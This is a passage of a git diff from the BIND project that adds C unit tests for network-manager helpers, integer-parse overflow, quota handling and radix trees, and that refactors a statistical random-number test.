+#define have_expected_sreads(v) ((v) >= expected_sreads && expected_sreads >= 0)
+#define have_expected_saccepts(v) \
+	((v) >= expected_saccepts && expected_saccepts >= 0)
+#define have_expected_csends(v) ((v) >= expected_csends && expected_csends >= 0)
+#define have_expected_cconnects(v) \
+	((v) >= expected_cconnects && expected_cconnects >= 0)
+#define have_expected_creads(v) ((v) >= expected_creads && expected_creads >= 0)
+#define have_expected_ctimeouts(v) \
+	((v) >= expected_ctimeouts && expected_ctimeouts >= 0)
+
+#define do_ssends_shutdown(lm)            \
+	if (ssends_shutdown) {            \
+		isc_loopmgr_shutdown(lm); \
+	}
+#define do_sreads_shutdown(lm)            \
+	if (sreads_shutdown) {            \
+		isc_loopmgr_shutdown(lm); \
+	}
+#define do_saccepts_shutdown(lm)          \
+	if (saccepts_shutdown) {          \
+		isc_loopmgr_shutdown(lm); \
+	}
+#define do_csends_shutdown(lm)            \
+	if (csends_shutdown) {            \
+		isc_loopmgr_shutdown(lm); \
+	}
+#define do_cconnects_shutdown(lm)         \
+	if (cconnects_shutdown) {         \
+		isc_loopmgr_shutdown(lm); \
+	}
+#define do_creads_shutdown(lm)            \
+	if (creads_shutdown) {            \
+		isc_loopmgr_shutdown(lm); \
+	}
+#define do_ctimeouts_shutdown(lm)         \
+	if (ctimeouts_shutdown) {         \
+		isc_loopmgr_shutdown(lm); \
+	}
+
+extern isc_refcount_t active_cconnects;
+extern isc_refcount_t active_csends;
+extern isc_refcount_t active_creads;
+extern isc_refcount_t active_ssends;
+extern isc_refcount_t active_sreads;
+
+extern isc_nmsocket_t *listen_sock;
+
+extern isc_quota_t listener_quota;
+extern atomic_bool check_listener_quota;
+
+extern bool allow_send_back;
+extern bool noanswer;
+extern bool stream_use_TLS;
+extern bool stream;
+extern in_port_t stream_port;
+
+extern isc_nm_recv_cb_t connect_readcb;
+
+#define NSENDS 100
+
+/* Timeout for soft-timeout tests (0.05 seconds) */
+#define T_SOFT 50
+
+/* Timeouts in miliseconds */
+#define T_INIT	     120 * 1000
+#define T_IDLE	     120 * 1000
+#define T_KEEPALIVE  120 * 1000
+#define T_ADVERTISED 120 * 1000
+#define T_CONNECT    30 * 1000
+
+/* Wait for 1 second (1000 milliseconds) */
+#define WAIT_REPEATS 1000
+#define T_WAIT	     1 /* 1 millisecond */
+
+#define WAIT_FOR(v, op, val)                                \
+	{                                                   \
+		X(v);                                       \
+		int_fast64_t __r = WAIT_REPEATS;            \
+		int_fast64_t __o = 0;                       \
+		do {                                        \
+			int_fast64_t __l = atomic_load(&v); \
+			if (__l op val) {                   \
+				break;                      \
+			};                                  \
+			if (__o == __l) {                   \
+				__r--;                      \
+			} else {                            \
+				__r = WAIT_REPEATS;         \
+			}                                   \
+			__o = __l;                          \
+			uv_sleep(T_WAIT);                   \
+		} while (__r > 0);                          \
+		X(v);                                       \
+		P(__r);                                     \
+		assert_true(atomic_load(&v) op val);        \
+	}
+
+#define WAIT_FOR_EQ(v, val) WAIT_FOR(v, ==, val)
+#define WAIT_FOR_NE(v, val) WAIT_FOR(v, !=, val)
+#define WAIT_FOR_LE(v, val) WAIT_FOR(v, <=, val)
+#define WAIT_FOR_LT(v, val) WAIT_FOR(v, <, val)
+#define WAIT_FOR_GE(v, val) WAIT_FOR(v, >=, val)
+#define WAIT_FOR_GT(v, val) WAIT_FOR(v, >, val)
+
+#define DONE() atomic_store(&do_send, false);
+
+#define CHECK_RANGE_FULL(v)                \
+	{                                  \
+		int __v = atomic_load(&v); \
+		assert_true(__v > 1);      \
+	}
+
+#define CHECK_RANGE_HALF(v)                \
+	{                                  \
+		int __v = atomic_load(&v); \
+		assert_true(__v > 1);      \
+	}
+
+/* Enable this to print values while running tests */
+#undef PRINT_DEBUG
+#ifdef PRINT_DEBUG
+#define X(v)                                                               \
+	fprintf(stderr, "%s:%s:%d:%s = %" PRId64 "\n", __func__, __FILE__, \
+		__LINE__, #v, atomic_load(&v))
+#define P(v) fprintf(stderr, #v " = %" PRId64 "\n", v)
+#define F()                                                                 \
+	fprintf(stderr, "%u:%s(%p, %s, %p)\n", isc_tid(), __func__, handle, \
+		isc_result_totext(eresult), cbarg)
+
+#define isc_loopmgr_shutdown(loopmgr)                                      \
+	{                                                                  \
+		fprintf(stderr, "%u:%s:%s:%d:isc_loopmgr_shutdown(%p)\n",  \
+			isc_tid(), __func__, __FILE__, __LINE__, loopmgr); \
+		isc_loopmgr_shutdown(loopmgr);                             \
+	}
+#else
+#define X(v)
+#define P(v)
+#define F()
+#endif
+
+#define atomic_assert_int_eq(val, exp) assert_int_equal(atomic_load(&val), exp)
+#define atomic_assert_int_ne(val, exp) \
+	assert_int_not_equal(atomic_load(&val), exp)
+#define atomic_assert_int_le(val, exp) assert_true(atomic_load(&val) <= exp)
+#define atomic_assert_int_lt(val, exp) assert_true(atomic_load(&val) > exp)
+#define atomic_assert_int_ge(val, exp) assert_true(atomic_load(&val) >= exp)
+#define atomic_assert_int_gt(val, exp) assert_true(atomic_load(&val) > exp)
+
+int
+setup_netmgr_test(void **state);
+int
+teardown_netmgr_test(void **state ISC_ATTR_UNUSED);
+
+void
+noop_recv_cb(isc_nmhandle_t *handle, isc_result_t eresult, isc_region_t *region,
+	     void *cbarg);
+
+isc_result_t
+noop_accept_cb(isc_nmhandle_t *handle ISC_ATTR_UNUSED, unsigned int result,
+	       void *cbarg ISC_ATTR_UNUSED);
+
+void
+connect_send_cb(isc_nmhandle_t *handle, isc_result_t eresult, void *cbarg);
+
+void
+connect_send(isc_nmhandle_t *handle);
+
+void
+connect_read_cb(isc_nmhandle_t *handle, isc_result_t eresult,
+		isc_region_t *region, void *cbarg);
+
+void
+connect_connect_cb(isc_nmhandle_t *handle, isc_result_t eresult, void *cbarg);
+void
+connect_success_cb(isc_nmhandle_t *handle, isc_result_t eresult, void *cbarg);
+
+void
+listen_send_cb(isc_nmhandle_t *handle, isc_result_t eresult, void *cbarg);
+
+void
+listen_read_cb(isc_nmhandle_t *handle, isc_result_t eresult,
+	       isc_region_t *region, void *cbarg);
+
+isc_result_t
+listen_accept_cb(isc_nmhandle_t *handle, isc_result_t eresult, void *cbarg);
+
+isc_result_t
+stream_accept_cb(isc_nmhandle_t *handle, isc_result_t eresult, void *cbarg);
+
+void
+timeout_retry_cb(isc_nmhandle_t *handle, isc_result_t eresult,
+		 isc_region_t *region, void *cbarg);
+
+isc_quota_t *
+tcp_listener_init_quota(size_t nthreads);
+
+stream_connect_function
+get_stream_connect_function(void);
+
+isc_result_t
+stream_listen(isc_nm_accept_cb_t accept_cb, void *accept_cbarg, int backlog,
+	      isc_quota_t *quota, isc_nmsocket_t **sockp);
+
+void
+stream_connect(isc_nm_cb_t cb, void *cbarg, unsigned int timeout);
+
+int
+stream_noop_setup(void **state ISC_ATTR_UNUSED);
+void
+stream_noop(void **state ISC_ATTR_UNUSED);
+int
+stream_noop_teardown(void **state ISC_ATTR_UNUSED);
+
+int
+stream_noresponse_setup(void **state ISC_ATTR_UNUSED);
+void
+stream_noresponse(void **state ISC_ATTR_UNUSED);
+int
+stream_noresponse_teardown(void **state ISC_ATTR_UNUSED);
+
+int
+stream_timeout_recovery_setup(void **state ISC_ATTR_UNUSED);
+void
+stream_timeout_recovery(void **state ISC_ATTR_UNUSED);
+int
+stream_timeout_recovery_teardown(void **state ISC_ATTR_UNUSED);
+
+int
+stream_recv_one_setup(void **state ISC_ATTR_UNUSED);
+void
+stream_recv_one(void **state ISC_ATTR_UNUSED);
+int
+stream_recv_one_teardown(void **state ISC_ATTR_UNUSED);
+
+int
+stream_recv_two_setup(void **state ISC_ATTR_UNUSED);
+void
+stream_recv_two(void **state ISC_ATTR_UNUSED);
+int
+stream_recv_two_teardown(void **state ISC_ATTR_UNUSED);
+
+int
+stream_recv_send_setup(void **state ISC_ATTR_UNUSED);
+void
+stream_recv_send(void **state ISC_ATTR_UNUSED);
+int
+stream_recv_send_teardown(void **state ISC_ATTR_UNUSED);
+void
+stream_recv_send_connect(void *arg);
+
+int
+stream_shutdownconnect_setup(void **state ISC_ATTR_UNUSED);
+void
+stream_shutdownconnect(void **state ISC_ATTR_UNUSED);
+int
+stream_shutdownconnect_teardown(void **state ISC_ATTR_UNUSED);
+
+int
+stream_shutdownread_setup(void **state ISC_ATTR_UNUSED);
+void
+stream_shutdownread(void **state ISC_ATTR_UNUSED);
+int
+stream_shutdownread_teardown(void **state ISC_ATTR_UNUSED);
+
+void
+stop_listening(void *arg ISC_ATTR_UNUSED);
diff --git a/tests/isc/parse_test.c b/tests/isc/parse_test.c
new file mode 100644
index 0000000000..a5b516a027
--- /dev/null
+++ b/tests/isc/parse_test.c
@@ -0,0 +1,56 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+/*! \file */
+
+#include <inttypes.h>
+#include <sched.h> /* IWYU pragma: keep */
+#include <setjmp.h>
+#include <stdarg.h>
+#include <stddef.h>
+#include <stdlib.h>
+#include <string.h>
+#include <time.h>
+#include <unistd.h>
+
+#define UNIT_TESTING
+#include <cmocka.h>
+
+#include <isc/parseint.h>
+#include <isc/util.h>
+
+#include <tests/isc.h>
+
+/* Test for 32 bit overflow on 64 bit machines in isc_parse_uint32 */
+ISC_RUN_TEST_IMPL(parse_overflow) {
+	isc_result_t result;
+	uint32_t output;
+
+	result = isc_parse_uint32(&output, "1234567890", 10);
+	assert_int_equal(ISC_R_SUCCESS, result);
+	assert_int_equal(1234567890, output);
+
+	result = isc_parse_uint32(&output, "123456789012345", 10);
+	assert_int_equal(ISC_R_RANGE, result);
+
+	result = isc_parse_uint32(&output, "12345678901234567890", 10);
+	assert_int_equal(ISC_R_RANGE, result);
+}
+
+ISC_TEST_LIST_START
+
+ISC_TEST_ENTRY(parse_overflow)
+
+ISC_TEST_LIST_END
+
+ISC_TEST_MAIN
diff --git a/tests/isc/quota_test.c b/tests/isc/quota_test.c
new file mode 100644
index 0000000000..59e865852d
--- /dev/null
+++ b/tests/isc/quota_test.c
@@ -0,0 +1,312 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+#include <inttypes.h>
+#include <sched.h> /* IWYU pragma: keep */
+#include <setjmp.h>
+#include <stdarg.h>
+#include <stddef.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <unistd.h>
+
+#define UNIT_TESTING
+#include <cmocka.h>
+
+#include <isc/job.h>
+#include <isc/quota.h>
+#include <isc/result.h>
+#include <isc/thread.h>
+#include <isc/util.h>
+#include <isc/uv.h>
+
+#include <tests/isc.h>
+
+isc_quota_t quota;
+
+ISC_RUN_TEST_IMPL(isc_quota_get_set) {
+	UNUSED(state);
+	isc_quota_init(&quota, 100);
+
+	assert_int_equal(isc_quota_getmax(&quota), 100);
+	assert_int_equal(isc_quota_getsoft(&quota), 0);
+
+	isc_quota_max(&quota, 50);
+	isc_quota_soft(&quota, 30);
+
+	assert_int_equal(isc_quota_getmax(&quota), 50);
+	assert_int_equal(isc_quota_getsoft(&quota), 30);
+
+	assert_int_equal(isc_quota_getused(&quota), 0);
+	isc_quota_acquire(&quota);
+	assert_int_equal(isc_quota_getused(&quota), 1);
+	isc_quota_release(&quota);
+	assert_int_equal(isc_quota_getused(&quota), 0);
+	isc_quota_destroy(&quota);
+}
+
+static void
+add_quota(isc_quota_t *source, isc_result_t expected_result,
+	  int expected_used) {
+	isc_result_t result;
+
+	result = isc_quota_acquire(source);
+	assert_int_equal(result, expected_result);
+
+	switch (expected_result) {
+	case ISC_R_SUCCESS:
+	case ISC_R_SOFTQUOTA:
+		break;
+	default:
+		break;
+	}
+
+	assert_int_equal(isc_quota_getused(source), expected_used);
+}
+
+ISC_RUN_TEST_IMPL(isc_quota_hard) {
+	int i;
+	UNUSED(state);
+
+	isc_quota_init(&quota, 100);
+
+	for (i = 0; i < 100; i++) {
+		add_quota(&quota, ISC_R_SUCCESS, i + 1);
+	}
+
+	add_quota(&quota, ISC_R_QUOTA, 100);
+
+	assert_int_equal(isc_quota_getused(&quota), 100);
+
+	isc_quota_release(&quota);
+
+	add_quota(&quota, ISC_R_SUCCESS, 100);
+	add_quota(&quota, ISC_R_QUOTA, 100);
+
+	for (i = 100; i > 0; i--) {
+		isc_quota_release(&quota);
+		assert_int_equal(isc_quota_getused(&quota), i - 1);
+	}
+	assert_int_equal(isc_quota_getused(&quota), 0);
+	isc_quota_destroy(&quota);
+}
+
+ISC_RUN_TEST_IMPL(isc_quota_soft) {
+	int i;
+	UNUSED(state);
+
+	isc_quota_init(&quota, 100);
+	isc_quota_soft(&quota, 50);
+
+	for (i = 0; i < 50; i++) {
+		add_quota(&quota, ISC_R_SUCCESS, i + 1);
+	}
+	for (i = 50; i < 100; i++) {
+		add_quota(&quota, ISC_R_SOFTQUOTA, i + 1);
+	}
+
+	add_quota(&quota, ISC_R_QUOTA, 100);
+
+	for (i = 99; i >= 0; i--) {
+		isc_quota_release(&quota);
+		assert_int_equal(isc_quota_getused(&quota), i);
+	}
+	assert_int_equal(isc_quota_getused(&quota), 0);
+	isc_quota_destroy(&quota);
+}
+
+static atomic_uint_fast32_t cb_calls = 0;
+static isc_job_t cbs[30];
+
+static void
+callback(void *data) {
+	int val = *(int *)data;
+	/* Callback is not called if we get the quota directly */
+	assert_int_not_equal(val, -1);
+
+	/* Verify that the callbacks are called in order */
+	int v = atomic_fetch_add_relaxed(&cb_calls, 1);
+	assert_int_equal(v, val);
+
+	/*
+	 * First 5 will be detached by the test function,
+	 * for the last 5 - do a 'chain detach'.
+	 */
+	if (v >= 5) {
+		isc_quota_release(&quota);
+	}
+}
+
+ISC_RUN_TEST_IMPL(isc_quota_callback) {
+	isc_result_t result;
+	/*
+	 * - 10 calls that end with SUCCESS
+	 * - 10 calls that end with SOFTQUOTA
+	 * - 10 callbacks
+	 */
+	int ints[] = { -1, -1, -1, -1, -1, -1, -1, -1, -1, -1,
+		       -1, -1, -1, -1, -1, -1, -1, -1, -1, -1,
+		       0,  1,  2,  3,  4,  5,  6,  7,  8,  9 };
+	int i;
+	UNUSED(state);
+
+	isc_quota_init(&quota, 20);
+	isc_quota_soft(&quota, 10);
+
+	for (i = 0; i < 10; i++) {
+		cbs[i] = (isc_job_t)ISC_JOB_INITIALIZER;
+		result = isc_quota_acquire_cb(&quota, &cbs[i], callback,
+					      &ints[i]);
+		assert_int_equal(result, ISC_R_SUCCESS);
+		assert_int_equal(isc_quota_getused(&quota), i + 1);
+	}
+	for (i = 10; i < 20; i++) {
+		cbs[i] = (isc_job_t)ISC_JOB_INITIALIZER;
+		result = isc_quota_acquire_cb(&quota, &cbs[i], callback,
+					      &ints[i]);
+		assert_int_equal(result, ISC_R_SOFTQUOTA);
+		assert_int_equal(isc_quota_getused(&quota), i + 1);
+	}
+
+	for (i = 20; i < 30; i++) {
+		cbs[i] = (isc_job_t)ISC_JOB_INITIALIZER;
+		result = isc_quota_acquire_cb(&quota, &cbs[i], callback,
+					      &ints[i]);
+		assert_int_equal(result, ISC_R_QUOTA);
+		assert_int_equal(isc_quota_getused(&quota), 20);
+	}
+	assert_int_equal(atomic_load(&cb_calls), 0);
+
+	for (i = 0; i < 5; i++) {
+		isc_quota_release(&quota);
+		assert_int_equal(isc_quota_getused(&quota), 20);
+		assert_int_equal(atomic_load(&cb_calls), i + 1);
+	}
+	/* That should cause a chain reaction */
+	isc_quota_release(&quota);
+	assert_int_equal(atomic_load(&cb_calls), 10);
+
+	/* Release the quotas that we did not released in the callback */
+	for (i = 0; i < 5; i++) {
+		isc_quota_release(&quota);
+	}
+
+	for (i = 6; i < 20; i++) {
+		isc_quota_release(&quota);
+		assert_int_equal(isc_quota_getused(&quota), 19 - i);
+	}
+	assert_int_equal(atomic_load(&cb_calls), 10);
+
+	assert_int_equal(isc_quota_getused(&quota), 0);
+	isc_quota_destroy(&quota);
+}
+
+/*
+ * Multithreaded quota callback test:
+ * - quota set to 100
+ * - 10 threads, each trying to get 100 quotas.
+ * - creates a separate thread to release it after 10ms
+ */
+
+typedef struct qthreadinfo {
+	atomic_uint_fast32_t direct;
+	atomic_uint_fast32_t callback;
+	isc_job_t callbacks[100];
+} qthreadinfo_t;
+
+static atomic_uint_fast32_t g_tnum = 0;
+/* at most 10 * 100 quota_detach threads */
+isc_thread_t g_threads[10 * 100];
+
+static void *
+quota_release(void *arg) {
+	uv_sleep(10);
+	isc_quota_release((isc_quota_t *)arg);
+	return (NULL);
+}
+
+static void
+quota_callback(void *data) {
+	qthreadinfo_t *qti = (qthreadinfo_t *)data;
+	atomic_fetch_add_relaxed(&qti->callback, 1);
+	int tnum = atomic_fetch_add_relaxed(&g_tnum, 1);
+	isc_thread_create(quota_release, &quota, &g_threads[tnum]);
+}
+
+static void *
+quota_thread(void *qtip) {
+	qthreadinfo_t *qti = (qthreadinfo_t *)qtip;
+	for (int i = 0; i < 100; i++) {
+		qti->callbacks[i] = (isc_job_t)ISC_JOB_INITIALIZER;
+		isc_result_t result = isc_quota_acquire_cb(
+			&quota, &qti->callbacks[i], quota_callback, qti);
+		if (result == ISC_R_SUCCESS) {
+			atomic_fetch_add_relaxed(&qti->direct, 1);
+			int tnum = atomic_fetch_add_relaxed(&g_tnum, 1);
+			isc_thread_create(quota_release, &quota,
+					  &g_threads[tnum]);
+		}
+	}
+	return (NULL);
+}
+
+ISC_RUN_TEST_IMPL(isc_quota_callback_mt) {
+	UNUSED(state);
+	int i;
+
+	isc_quota_init(&quota, 100);
+	static qthreadinfo_t qtis[10];
+	isc_thread_t threads[10];
+	for (i = 0; i < 10; i++) {
+		atomic_init(&qtis[i].direct, 0);
+		atomic_init(&qtis[i].callback, 0);
+		isc_thread_create(quota_thread, &qtis[i], &threads[i]);
+	}
+	for (i = 0; i < 10; i++) {
+		isc_thread_join(threads[i], NULL);
+	}
+
+	for (i = 0; i < (int)atomic_load(&g_tnum); i++) {
+		isc_thread_join(g_threads[i], NULL);
+	}
+	int direct = 0, ncallback = 0;
+
+	for (i = 0; i < 10; i++) {
+		direct += atomic_load(&qtis[i].direct);
+		ncallback += atomic_load(&qtis[i].callback);
+	}
+	/* Total quota gained must be 10 threads * 100 tries */
+	assert_int_equal(direct + ncallback, 10 * 100);
+	/*
+	 * At least 100 must be direct, the rest is virtually random:
+	 * - in a regular run I'm constantly getting 100:900 ratio
+	 * - under rr - usually around ~120:880
+	 * - under rr -h - 1000:0
+	 */
+	assert_true(direct >= 100);
+
+	isc_quota_destroy(&quota);
+}
+
+ISC_TEST_LIST_START
+
+ISC_TEST_ENTRY(isc_quota_get_set)
+ISC_TEST_ENTRY(isc_quota_hard)
+ISC_TEST_ENTRY(isc_quota_soft)
+ISC_TEST_ENTRY(isc_quota_callback)
+ISC_TEST_ENTRY(isc_quota_callback_mt)
+
+ISC_TEST_LIST_END
+
+ISC_TEST_MAIN
diff --git a/tests/isc/radix_test.c b/tests/isc/radix_test.c
new file mode 100644
index 0000000000..fe589fe2b7
--- /dev/null
+++ b/tests/isc/radix_test.c
@@ -0,0 +1,136 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+#include <inttypes.h>
+#include <sched.h> /* IWYU pragma: keep */
+#include <setjmp.h>
+#include <stdarg.h>
+#include <stddef.h>
+#include <stdlib.h>
+#include <string.h>
+
+#define UNIT_TESTING
+#include <cmocka.h>
+
+#include <isc/mem.h>
+#include <isc/netaddr.h>
+#include <isc/radix.h>
+#include <isc/result.h>
+#include <isc/util.h>
+
+#include <tests/isc.h>
+
+/* test radix node removal */
+ISC_RUN_TEST_IMPL(isc_radix_remove) {
+	isc_radix_tree_t *radix = NULL;
+	isc_radix_node_t *node;
+	isc_prefix_t prefix;
+	isc_result_t result;
+	struct in_addr in_addr;
+	isc_netaddr_t netaddr;
+
+	UNUSED(state);
+
+	result = isc_radix_create(mctx, &radix, 32);
+	assert_int_equal(result, ISC_R_SUCCESS);
+
+	in_addr.s_addr = inet_addr("1.1.1.1");
+	isc_netaddr_fromin(&netaddr, &in_addr);
+	NETADDR_TO_PREFIX_T(&netaddr, prefix, 32);
+
+	node = NULL;
+	result = isc_radix_insert(radix, &node, NULL, &prefix);
+	assert_int_equal(result, ISC_R_SUCCESS);
+	node->data[0] = (void *)32;
+	isc_refcount_destroy(&prefix.refcount);
+
+	in_addr.s_addr = inet_addr("1.0.0.0");
+	isc_netaddr_fromin(&netaddr, &in_addr);
+	NETADDR_TO_PREFIX_T(&netaddr, prefix, 8);
+
+	node = NULL;
+	result = isc_radix_insert(radix, &node, NULL, &prefix);
+	assert_int_equal(result, ISC_R_SUCCESS);
+	node->data[0] = (void *)8;
+	isc_refcount_destroy(&prefix.refcount);
+
+	in_addr.s_addr = inet_addr("1.1.1.0");
+	isc_netaddr_fromin(&netaddr, &in_addr);
+	NETADDR_TO_PREFIX_T(&netaddr, prefix, 24);
+
+	node = NULL;
+	result = isc_radix_insert(radix, &node, NULL, &prefix);
+	assert_int_equal(result, ISC_R_SUCCESS);
+	node->data[0] = (void *)24;
+	isc_refcount_destroy(&prefix.refcount);
+
+	isc_radix_remove(radix, node);
+
+	isc_radix_destroy(radix, NULL);
+}
+
+/* test radix searching */
+ISC_RUN_TEST_IMPL(isc_radix_search) {
+	isc_radix_tree_t *radix = NULL;
+	isc_radix_node_t *node;
+	isc_prefix_t prefix;
+	isc_result_t result;
+	struct in_addr in_addr;
+	isc_netaddr_t netaddr;
+
+	UNUSED(state);
+
+	result = isc_radix_create(mctx, &radix, 32);
+	assert_int_equal(result, ISC_R_SUCCESS);
+
+	in_addr.s_addr = inet_addr("3.3.3.0");
+	isc_netaddr_fromin(&netaddr, &in_addr);
+	NETADDR_TO_PREFIX_T(&netaddr, prefix, 24);
+
+	node = NULL;
+	result = isc_radix_insert(radix, &node, NULL, &prefix);
+	assert_int_equal(result, ISC_R_SUCCESS);
+	node->data[0] = (void *)1;
+	isc_refcount_destroy(&prefix.refcount);
+
+	in_addr.s_addr = inet_addr("3.3.0.0");
+	isc_netaddr_fromin(&netaddr, &in_addr);
+	NETADDR_TO_PREFIX_T(&netaddr, prefix, 16);
+
+	node = NULL;
+	result = isc_radix_insert(radix, &node, NULL, &prefix);
+	assert_int_equal(result, ISC_R_SUCCESS);
+	node->data[0] = (void *)2;
+	isc_refcount_destroy(&prefix.refcount);
+
+	in_addr.s_addr = inet_addr("3.3.3.3");
+	isc_netaddr_fromin(&netaddr, &in_addr);
+	NETADDR_TO_PREFIX_T(&netaddr, prefix, 22);
+
+	node = NULL;
+	result = isc_radix_search(radix, &node, &prefix);
+	assert_int_equal(result, ISC_R_SUCCESS);
+	assert_ptr_equal(node->data[0], (void *)2);
+
+	isc_refcount_destroy(&prefix.refcount);
+
+	isc_radix_destroy(radix, NULL);
+}
+
+ISC_TEST_LIST_START
+
+ISC_TEST_ENTRY(isc_radix_remove)
+ISC_TEST_ENTRY(isc_radix_search)
+
+ISC_TEST_LIST_END
+ISC_TEST_MAIN
diff --git a/lib/isc/tests/random_test.c b/tests/isc/random_test.c
similarity index 76%
rename from lib/isc/tests/random_test.c
rename to tests/isc/random_test.c
index 7161cd96a9..05e3bea0ea 100644
--- a/lib/isc/tests/random_test.c
+++ b/tests/isc/random_test.c
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -16,8 +18,6 @@
  * random. The test is expected to fail on occasion by random happenstance.
  */
 
-#if HAVE_CMOCKA
-
 #include <inttypes.h>
 #include <math.h>
 #include <sched.h> /* IWYU pragma: keep */
@@ -33,16 +33,15 @@
 #include <isc/commandline.h>
 #include <isc/mem.h>
 #include <isc/nonce.h>
-#include <isc/print.h>
 #include <isc/random.h>
 #include <isc/result.h>
 #include <isc/util.h>
 
-#include "isctest.h"
+#include <tests/isc.h>
 
 #define REPS 25000
 
-typedef double(pvalue_func_t)(isc_mem_t *mctx, uint16_t *values, size_t length);
+typedef double(pvalue_func_t)(uint16_t *values, size_t length);
 
 /* igamc(), igam(), etc. were adapted (and cleaned up) from the Cephes
  * math library:
@@ -64,9 +63,6 @@ igamc(double a, double x);
 static double
 igam(double a, double x);
 
-/* Set to true (or use -v option) for verbose output */
-static bool verbose = false;
-
 typedef enum {
 	ISC_RANDOM8,
 	ISC_RANDOM16,
@@ -76,31 +72,10 @@ typedef enum {
 	ISC_NONCE_BYTES
 } isc_random_func;
 
-static int
-_setup(void **state) {
-	isc_result_t result;
-
-	UNUSED(state);
-
-	result = isc_test_begin(NULL, true, 0);
-	assert_int_equal(result, ISC_R_SUCCESS);
-
-	return (0);
-}
-
-static int
-_teardown(void **state) {
-	UNUSED(state);
-
-	isc_test_end();
-
-	return (0);
-}
-
 static double
 igamc(double a, double x) {
-	double ans, ax, c, yc, r, t, y, z;
-	double pk, pkm1, pkm2, qk, qkm1, qkm2;
+	double ans, ax, c, r, t, y, z;
+	double pkm1, pkm2, qkm1, qkm2;
 
 	if ((x <= 0) || (a <= 0)) {
 		return (1.0);
@@ -128,6 +103,7 @@ igamc(double a, double x) {
 	ans = pkm1 / qkm1;
 
 	do {
+		double yc, pk, qk;
 		c += 1.0;
 		y += 1.0;
 		z += 2.0;
@@ -256,13 +232,12 @@ tables_init(void) {
  */
 static uint32_t
 matrix_binaryrank(uint32_t *bits, size_t rows, size_t cols) {
-	size_t i, j, k;
 	unsigned int rt = 0;
 	uint32_t rank = 0;
 	uint32_t tmp;
 
-	for (k = 0; k < rows; k++) {
-		i = k;
+	for (size_t k = 0; k < rows; k++) {
+		size_t i = k;
 
 		while (rt >= cols || ((bits[i] >> rt) & 1) == 0) {
 			i++;
@@ -287,7 +262,7 @@ matrix_binaryrank(uint32_t *bits, size_t rows, size_t cols) {
 			bits[k] = tmp;
 		}
 
-		for (j = i + 1; j < rows; j++) {
+		for (size_t j = i + 1; j < rows; j++) {
 			if (((bits[j] >> rt) & 1) == 0) {
 				continue;
 			} else {
@@ -351,7 +326,8 @@ random_test(pvalue_func_t *func, isc_random_func test_func) {
 			uniform_values = (uint16_t *)values;
 			for (i = 0;
 			     i < (sizeof(values) / (sizeof(*uniform_values)));
-			     i++) {
+			     i++)
+			{
 				uniform_values[i] =
 					isc_random_uniform(UINT16_MAX);
 			}
@@ -361,7 +337,7 @@ random_test(pvalue_func_t *func, isc_random_func test_func) {
 			break;
 		}
 
-		p_value = (*func)(test_mctx, (uint16_t *)values, REPS * 2);
+		p_value = (*func)((uint16_t *)values, REPS * 2);
 		if (p_value >= 0.01) {
 			passed++;
 		}
@@ -382,13 +358,6 @@ random_test(pvalue_func_t *func, isc_random_func test_func) {
 	lower_confidence = p_hat - (3.0 * sqrt((p_hat * (1.0 - p_hat)) / m));
 	higher_confidence = p_hat + (3.0 * sqrt((p_hat * (1.0 - p_hat)) / m));
 
-	if (verbose) {
-		print_message("# passed=%u/1000\n", passed);
-		print_message("# higher_confidence=%f, lower_confidence=%f, "
-			      "proportion=%f\n",
-			      higher_confidence, lower_confidence, proportion);
-	}
-
 	assert_in_range(proportion, lower_confidence, higher_confidence);
 
 	/*
@@ -405,29 +374,17 @@ random_test(pvalue_func_t *func, isc_random_func test_func) {
 	/* Pre-requisite that at least 55 sequences are processed. */
 	assert_true(m >= 55);
 
-	if (verbose) {
-		print_message("# ");
-	}
-
 	chi_square = 0.0;
 	for (j = 0; j < 10; j++) {
 		double numer;
 		double denom;
 
-		if (verbose) {
-			print_message("hist%u=%u ", j, histogram[j]);
-		}
-
 		numer = (histogram[j] - (m / 10.0)) *
 			(histogram[j] - (m / 10.0));
 		denom = m / 10.0;
 		chi_square += numer / denom;
 	}
 
-	if (verbose) {
-		print_message("\n");
-	}
-
 	p_value_t = igamc(9 / 2.0, chi_square / 2.0);
 
 	assert_true(p_value_t >= 0.0001);
@@ -438,7 +395,7 @@ random_test(pvalue_func_t *func, isc_random_func test_func) {
  * RANDOM test suite.
  */
 static double
-monobit(isc_mem_t *mctx, uint16_t *values, size_t length) {
+monobit(uint16_t *values, size_t length) {
 	size_t i;
 	int32_t scount;
 	uint32_t numbits;
@@ -457,10 +414,6 @@ monobit(isc_mem_t *mctx, uint16_t *values, size_t length) {
 	/* Preconditions (section 2.1.7 in NIST SP 800-22) */
 	assert_true(numbits >= 100);
 
-	if (verbose) {
-		print_message("# numbits=%u, scount=%d\n", numbits, scount);
-	}
-
 	s_obs = abs(scount) / sqrt(numbits);
 	p_value = erfc(s_obs / sqrt(2.0));
 
@@ -471,7 +424,7 @@ monobit(isc_mem_t *mctx, uint16_t *values, size_t length) {
  * This is the runs test taken from the NIST SP 800-22 RNG test suite.
  */
